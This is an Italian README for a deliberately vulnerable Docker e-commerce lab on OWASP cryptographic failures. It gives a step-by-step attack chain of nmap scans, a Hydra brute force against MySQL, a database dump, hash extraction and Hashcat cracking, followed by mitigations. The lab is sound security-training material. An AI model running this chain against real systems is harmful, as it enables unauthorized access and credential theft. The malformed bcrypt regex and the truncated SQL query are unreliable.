

OWASP A02:2021 – Cryptographic Failures - Laboratorio

1. Descrizione del Modulo

Questo laboratorio mostra vulnerabilità crittografiche reali nella categoria OWASP A02:2021. L'applicazione è un e-commerce volutamente vulnerabile che gestisce dati sensibili in modo non sicuro.

Il laboratorio permette di seguire un'intera catena di attacco: ricognizione, brute force, dump, estrazione hash, cracking e analisi finale.

2. Avvio dell'Ambiente

```
docker-compose up -d
```

Servizi esposti:

- Web: <http://localhost:8002>
- MySQL: localhost:3302

Credenziali Database

Host: db / localhost:3302
Database: ecommerce_db
Username: root
Password: rootpassword

Strumenti vari

```
./strumenti
```

3. Simulazione

1. Ricognizione con Nmap

```
nmap -sV -p- mioip  
nmap -sV -sC -p 8002 mioip  
nmap -sV -p 3302 --script mysql-info,mysql-users mioip
```

2. Brute Force MySQL con Hydra

Ho creato weak_passlist.txt contenente password comuni (altrimenti usa rockyou.txt).
hydra -l root -P weak_passlist.txt mysql://mioip:3302

3. Dump del Database

```
mysqldump -h localhost -P 3302 -u root -prootpassword --ssl=0 --databases ecommerce_db  
> ecommerce_db_dump.sql
```

4. Estrazione Automatica degli Hash

Lo script ./strumenti/extract_hashes.sh: estrae automaticamente MD5, SHA1, SHA256 e bcrypt.

Di base fa questo:

```
grep -oE '[a-fA-F0-9]{32}' dump > md5_hashes.txt  
grep -oE '[a-fA-F0-9]{40}' dump > sha1_hashes.txt  
grep -oE '[a-fA-F0-9]{64}' dump > sha256_hashes.txt  
grep -oE '$2[aby]${0-9}{2}${A-Za-z0-9./}{53}' dump > bcrypt_hashes.txt
```

5. Identificazione Hash con hash-identifier

Puoi anche utilizzare hash-identifier per riconoscere automaticamente l'algoritmo.
Sintassi: hash-identifier <hash>

Mapping rapido con mode di Hashcat:

```
MD5 → mode 0  
SHA1 → mode 100  
SHA256 → mode 1400  
bcrypt → mode 3200
```

6. Cracking degli Hash con Hashcat

```
hashcat -m 0 md5_hashes.txt lab_wordlist.txt --show > md5_cracked.txt  
hashcat -m 100 sha1_hashes.txt lab_wordlist.txt --show > sha1_cracked.txt  
hashcat -m 1400 sha256_hashes.txt lab_wordlist.txt --show > sha256_cracked.txt  
hashcat -m 3200 bcrypt_hashes.txt lab_wordlist.txt --show > bcrypt_cracked.txt
```

7. Mapping Hash → Username → Password

Estrarre prima username + hash:

```
mysql -h localhost -P 3302 -u root -prootpassword --ssl=0 -e "SELECT username,  
password_hash FROM
```

Poi usare map_cracked.sh per produrre username:password.

4. Conclusioni

MD5 e SHA1 non usano salt e sono facilmente crackabili.

bcrypt e Argon2 includono il salt nell'hash e richiedono un costo computazionale elevato, rendendo inefficaci rainbow table e attacchi precomputati, tuttavia come possiamo vedere con password "banali" anche questi risultano facilmente craccabili.

Vulnerabilità Presenti

- Hash deboli (MD5, SHA1, SHA256 senza salt)
- Dati sensibili in chiaro
- CVV memorizzato
- Token di sessione prevedibili
- Esportazione dati in chiaro
- Nessun HTTPS

Mitigazioni

- Utilizzare password_hash() con bcrypt/Argon2
- Evitare completamente il CVV
- Usare cifratura AES-256 per i dati sensibili
- Sessioni sicure e token imprevedibili
- HTTPS obbligatorio con HSTS

Riferimenti

OWASP Cryptographic Storage Cheat Sheet
OWASP Password Storage Cheat Sheet
PCI-DSS v4